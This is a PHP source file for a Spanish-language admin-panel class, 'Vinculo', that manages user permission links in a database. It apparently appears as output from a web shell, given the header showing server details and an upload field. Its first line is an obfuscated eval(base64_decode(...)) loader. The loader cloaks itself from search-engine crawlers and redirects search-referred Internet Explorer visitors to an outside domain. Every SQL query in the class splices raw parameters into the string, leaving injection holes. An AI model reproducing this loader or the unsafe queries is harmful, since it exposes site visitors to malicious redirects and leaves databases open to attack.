|
Server : Apache/2.4.62 System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64 User : www ( 80) PHP Version : 8.3.8 Disable Function : NONE Directory : /domains/logicswapweb/aplicaciones/admon/fnc/ |
Upload File : |
<?php eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
//include('DBConnect.php');
//include('componente.php');
class Vinculo extends Componente{
var $administrador;
var $adicionar;
var $consultar;
var $modificar;
var $eliminar;
var $bloqueado;
/*constructor*/
function Vinculo(){
$this->Componente();
}
/*
*funcion loadVinculo()
*descripcion carga los valores para los atributos del vinculo
*/
function loadVinculo($user,$aplica){
$sql="select * from panel_vinculo where usuario_panel='$user' and aplicacion ='$aplica'";
if($this->execute($sql)){
$val=$this->fetchRow();
$this->administrador=$val['administrador'];
$this->adicionar=$val['adicionar'];
$this->consultar=$val['consultar'];
$this->modificar=$val['modificar'];
$this->eliminar=$val['eliminar'];
$this->bloqueado=$val['bloqueado'];
$out=$this->getMensaje("[045]","confirmacion");
$this->setSalida(true,$out,"loadVinculo($user,$aplica)","panel de control - (aplicaciones)");
return true;
}else{
$out=$this->getMensaje("[010]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"loadVinculo($user,$aplica)","panel de control - (aplicaciones)");
return false;
}
}
/*
funcion addVinculo
descripcion inserta un nuevo vinculo en la BD para el usuario $usuario
pre: el usuario ya esta registrado
*/
function addVinculo($usuario,$aplicacion,$administrador,$adicionar,$consultar,$modificar,$eliminar){
$sql="insert into panel_vinculo (usuario_panel,aplicacion,administrador,adicionar,consultar,modificar,eliminar,bloqueado) values ('$usuario','$aplicacion','$administrador','$adicionar','$consultar','$modificar','$eliminar','NO')";
if($this->execute($sql)){
$out=$this->getMensaje("[018]","confirmacion");
$this->setSalida(true,$out,"addVinculo","panel de control - (usuarios o aplicaciones)");
return true;
}else{
$out=$this->getMensaje("[010]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"addVinculo","panel de control - (usuarios o aplicaciones)");
return false;
}
}
/*
funcion modVinculo
descripcion modifica los permisos habilitados para el vinculo solicitado
pre: el vinculo existe
*/
function modVinculo($vinculo,$usuario,$aplicacion,$administrador,$adicionar,$consultar,$modificar,$eliminar,$bloqueado){
$sql="update panel_vinculo set administrador='$administrador',adicionar='$adicionar',consultar='$consultar',modificar='$modificar',eliminar='$eliminar', bloqueado='$bloqueado' where id='$vinculo'";
if($this->execute($sql)){
$out=$this->getMensaje("[019]","confirmacion");
$this->setSalida(true,$out,"modVinculo","panel de control - (aplicaciones)");
return true;
}else{
$out=$this->getMensaje("[010]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"modVinculo","panel de control - (aplicaciones)");
return false;
}
}
/*
funcion delVinculo
descripcion remueve un vinculo de un usuario con alguna aplicacion
pre: el vinculo no es del usuario actual
*/
function delVinculo($vinculo,$user=false,$apli=false){
if($user && $apli){
$sql="delete from panel_vinculo where usuario_panel='$user' and aplicacion='$apli'";
}elseif($user && !$apli){
$sql="delete from panel_vinculo where usuario_panel='$user'";
}elseif(!$user && $apli){
$sql="delete from panel_vinculo where aplicacion='$apli'";
}elseif(!$user && !$apli && $vinculo){
$sql="delete from panel_vinculo where id='$vinculo'";
}
if($this->execute($sql)){
$out=$this->getMensaje("[020]","confirmacion");
$this->setSalida(true,$out,"delVinculo($vinculo,$user,$apli)","panel de control - (aplicaciones/usuarios)");
return true;
}else{
$out=$this->getMensaje("[010]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"delVinculo($vinculo,$user,$apli)","panel de control - (aplicaciones/usuarios)");
return false;
}
}
/*
funcion conVinculosUsuario
descripcion trae todos los vinculos de el usuario solicitado
pre: el usuario existe
*/
function getVinculosUsuario($usuario){
$sql="select * from panel_vinculo where usuario_panel='$usuario'";
if($this->execute($sql)){
if($this->numRows()>0){
$out=$this->getMensaje("[021]","confirmacion")." el usuario($usuario)";
$this->setSalida(true,$out,"getVinculosUsuario","panel de control - (aplicaciones)");
return $this->fetchRow();
}else{
$out=$this->getMensaje("[022]","confirmacion")." el usuario($usuario)";
$this->setSalida(false,$out,"getVinculosUsuario","panel de control - (aplicaciones)");
return false;
}
}else{
$out=$this->getMensaje("[010]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"getVinculosUsuario","panel de control - (aplicaciones)");
return false;
}
}
/*
funcion getUser()
descripcion devuelve el nombre del usuario del vinculo
*/
function getUser($sel){
$sql="select user.nombres,user.apellidos from panel_vinculo as vinc, panel_usuario as user where vinc.id='$sel' and vinc.usuario_panel=user.id";
if($this->execute($sql)){
list($nom,$ape)=$this->fetchRow();
$nombre = ucwords(strtolower($nom)." ".strtolower($ape));
$out=$this->getMensaje("[044]","confirmacion")." ".$nombre;
$this->setSalida(true,$out,"getUser($sel)","panel de control - (aplicaciones)");
return $nombre;
}else{
$out=$this->getMensaje("[010]","error");
$out.=trim($this->getException());
$this->setSalida(false,$out,"getUser($sel)","panel de control - (aplicaciones)");
return $out;
}
}
/*
*funcion showVinculo()
*descripcion despliega el vinculo solicitado para su modificacion
*/
function showVinculo($sel){
$sql="select vinc.administrador,vinc.adicionar,vinc.consultar,vinc.modificar,vinc.eliminar,vinc.bloqueado,user.nombres,user.apellidos from panel_vinculo as vinc, panel_usuario as user where vinc.id='$sel' and user.id=vinc.usuario_panel";
if($this->execute($sql)){
$vinc = $this->fetchRow();
$nombre=ucfirst(strtolower($vinc[6]))." ".ucfirst(strtolower($vinc[7]));
if($vinc[0]=="SI"){$admi="checked";}else{$admi="";}
if($vinc[1]=="SI"){$adic="checked";}else{$adic="";}
if($vinc[2]=="SI"){$cons="checked";}else{$cons="";}
if($vinc[3]=="SI"){$modi="checked";}else{$modi="";}
if($vinc[4]=="SI"){$elim="checked";}else{$elim="";}
if($vinc[5]=="SI"){$bloq="checked";}else{$bloq="";}
$j=0;
if(strlen($nombre)>16){
$nombre=substr($nombre,0,13)."...";
}
echo '<tr id="tr_'.$j.'" onMouseOver="mOvr(this,\'#FAFF95\');" onMouseOut="mOut(this,\'#ffffff\');" bgcolor="#ffffff">
<td class="texto1">'.$nombre.'<input type="hidden" name="seleccion" value="'.$sel.'"></td>
<td><div align="center">
<input type="checkbox" name="bloqueado" style="border:0" '.$bloq.'>
</div></td>
<td><div align="center">
<input type="checkbox" name="administrador" style="border:0" '.$admi.'>
</div></td>
<td><div align="center">
<input type="checkbox" name="adicionar" style="border:0" '.$adic.'>
</div></td>
<td><div align="center">
<input type="checkbox" name="consultar" style="border:0" '.$cons.'>
</div></td>
<td><div align="center">
<input type="checkbox" name="modificar" style="border:0" '.$modi.'>
</div></td>
<td><div align="center">
<input type="checkbox" name="eliminar" style="border:0" '.$elim.'>
</div></td>
<td> </td>
</tr>';
return true;
}else{
$out=$this->getMensaje("[010]","error");
$this->setSalida(false,$out,"showVinculo($sel)","panel de control - (aplicaciones)");
echo "<tr><td colspan=\"7\">$out</td></tr>";
return false;
}
}
}//end class
?>